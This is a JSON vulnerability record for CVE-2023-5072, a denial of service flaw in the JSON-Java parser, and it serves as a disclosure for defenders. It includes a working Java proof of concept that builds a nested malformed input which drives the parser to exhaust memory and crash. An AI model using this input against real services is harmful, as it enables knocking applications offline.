{"id":"CVE-2023-5072","aliases":["GHSA-4jq9-2xhw-jpx7"],"url":"https://o3.security/vulnerability/CVE-2023-5072","summary":"DoS Vulnerability in JSON-Java","details":"### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023","published":"2023-10-12T16:13:27.974Z","modified":"2026-10-28T02:30:52.930189851Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.01449,"percentile":0.71306,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.json:json","fixedVersion":"20231013"}],"fix":{"url":"https://github.com/stleary/JSON-java/pull/759","label":"stleary/JSON-java#759"},"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/13/4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5072.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5072"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20240621-0007/"},{"type":"REPORT","url":"https://github.com/stleary/JSON-java/issues/758"},{"type":"REPORT","url":"https://github.com/stleary/JSON-java/issues/771"},{"type":"WEB","url":"https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7"},{"type":"WEB","url":"https://github.com/stleary/JSON-java/pull/759"},{"type":"WEB","url":"https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb"},{"type":"PACKAGE","url":"https://github.com/stleary/JSON-java"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:52.930189851Z"}}